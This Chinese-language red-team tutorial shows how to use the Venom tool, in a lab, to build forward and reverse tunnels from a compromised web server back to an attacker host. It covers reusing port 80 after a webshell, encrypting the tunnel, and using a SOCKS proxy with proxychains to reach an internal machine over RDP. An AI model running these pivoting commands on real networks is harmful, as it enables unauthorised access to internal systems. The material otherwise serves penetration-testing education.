前文推荐:
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
ATT&CK视角下的红蓝对抗:五. 内网穿透之利用HTTP协议进行隧道穿透
ATT&CK视角下的红蓝对抗:六.内网穿透之利用FRP进行隧道穿透
ATT&CK视角下的红蓝对抗:七.内网穿透之利用Venom进行隧道穿透
一. 通过Venom进行隧道穿透
Venom工具也被称为“毒液工具”,它是一款开源的多级代理工具,使用Go语言开发,支持多种平台。Venom可以将多个节点进行连接,并以节点为跳板构建多级代理搭建网络隧道,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网管理代理节点,利用"毒液"进行可视化网络拓扑、多级Socks5代理、多级端口转发、端口复用(Apache、Mysql等服务)、SSH隧道、交互式Shell、文件的上传和下载、节点间通信加密等。
假设当我们拿下一台Web服务器通过提权获得到Administrator权限,对目标主机信息收集,进行搭建隧道便于后续渗透。此时利用venom工具进行搭建隧道,使用venom工具中Admin服务端进行本地监听,Agent作为客户端在目标主机发起连接。本次实验环境如图1-11所示,本次实验环境表如表1-1所示。
表1-1通过Venom进行隧道穿透实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25,192.168.52.2 |
靶机 | 192.168.52.3 |
1.基础使用
Venom工具支持多款操作系统,它可以跨平台使用,主要是由Admin服务端和Agent客户端组成,作为本地监听连接和主动发起连接使用,下面从Venom工具的基础功能进行讲解,再以正向连接和反向连接为案例进行演示。
1.反向监听
1)首先在攻击机配置,使用venom工具开启服务端监听,执行admin.exe -lport 8888命令,其中的-lport参数指的是监听本地端口,这里指监听本地8888端口,执行结果如图1-2 所示。
2)然后我们通过上传agent客户端到Web服务器,执行agent.exe -rhost 192.168.0.58 -rport 8888命令,让Web服务器主动发起连接攻击机开启的监听,建立起隧道通讯,执行成功如图1-3 所示。
3)此时服务端会接收建立隧道信息,使用show命令可以显示网络拓扑,如图1-4所示。
2.正向监听
和上述使用场景类似,当拿下Web服务器权限后,通过探测发现Web服务器不出网,但能正常访问主机,可以使用venom工具以正向连接的方式搭建隧道进行渗透。
1)上传Agent文件到Web服务器,执行agent.exe -lport 8888命令开启客户端监听。如图1-5所示。
2)然后在攻击机使用Admin服务端发起连接,执行admin.exe -rhost 192.168.0.25 -rport 8888建立隧道通讯,其中-rhost参数指向远程连接ip,-rport参数指连接的端口。如图1-6所示。
3)接下来在攻击机使用show命令验证,可以看到隧道建立成功,如图1-7所示。
3.端口复用
1)假设上传webshell后,Web服务器只有80端口的开放http服务可以利用,下面我们通过venom工具的SO_REUSEPORT"和"SO_REUSEADDR选项进行端口复用,Windows服务器下复用apache中间件的http服务80端口,不影响正常使用。
2)上传 agent文件到Web服务器,执行agent.exe -lhost 192.168.0.25 -reuse-port 80命令,设置80端口的复用,如图1-8所示。
3)在攻击机使用admin服务端执行admin.exe -rhost 192.168.0.25 -rport 80命令,来进行端口复用,如图1-9所示。
4.节点间通信加密
1)在节点通讯请求和响应的过程中,如果消息中途被劫持或篡改后果不堪设想,而我们的Venom工具支持隧道通信加密,对通讯数据进行加密保护,本地通过-passwd参数选项指定密码进行设置,密码用于生成AES加密所需的密钥,下面来演示通过-passwd参数指定密码为Admin123.,在攻击机使用venom工具服务端执行admin.exe -lport 8888 -passwd Admin123.命令,为隧道进行加密。如图1-10所示。
2)我们在Web服务器使用venom工具客户端agent文件,指定相同的密码与服务端admin连接,执行agent -rhost 192.168.0.58 -rport 8888 -passwd Admin123. 命令,执行成功即可达到隧道节点通讯加密的效果,如图1-11所示。
2.正向连接
正向连接实验环境如图1-12所示,假设前提是获取到Web服务器管理权限后,可以使用venom工具进行隧道利用,具体实验环境如表1-2所示。
表1-2 正向连接实验环境
主机类型 | 网络配置 |
---|---|
攻击机 | 192.168.0.58 |
Web服务器 | 192.168.0.25 192.168.52.11 |
靶机 | 192.68.52.12 |
1)上传venom工具到Web服务器之后执行agent.exe -lport 8888命令,开启本地客户端监听,我们以正向连接的方式搭建隧道,执行成功如图1-13所示。
2)攻击机使用venom服务端执行./admin -rhost 192.168.0.25 -rport 8888命令进行连接,其中-rhost参数是指设置远程服务器的端口,此时会连接监听,输入show查看连接情况,如果有A---1,证明已经有客户端连接成功,执行如图1-14所示。
3)接下来尝试连接socks隧道,输入goto 1命令连接这个客户端,再输入socks 1024设置socks隧道自定义端口,此时已经配置完成socks隧道,如图1-15所示。
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 1024参数来完成 proxychains 代理配置,如图1-16所示。
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-17 所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
3.反向连接
1)反向连接方式和上述类似,适用于出网的情况,我们在攻击机开启监听服务端8888端口,执行./admin -lport 8888命令设置开启服务端监听,如图1-18所示。
2)完成后,我们上传客户端agent文件到Web服务器,在WEB 服务器执行agent.exe -rhost 192.168.0.58 -rport 8888,其中远程连接的IP 192.168.0.58,在实战中需要公网IP,成功连接如图1-19 所示。
3)此时已经是搭建好了隧道,输入show查看连接情况,有回显A---1,使用goto 1去连接客户端,使用socks 1024 来搭建socks隧道,执行命令如图1-20 所示。
4)随后,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5127.0.0.1 1024参数来完成proxychains代理配置,如图1-21所示。
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接靶机,如图1-22所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
二.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用Venom进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!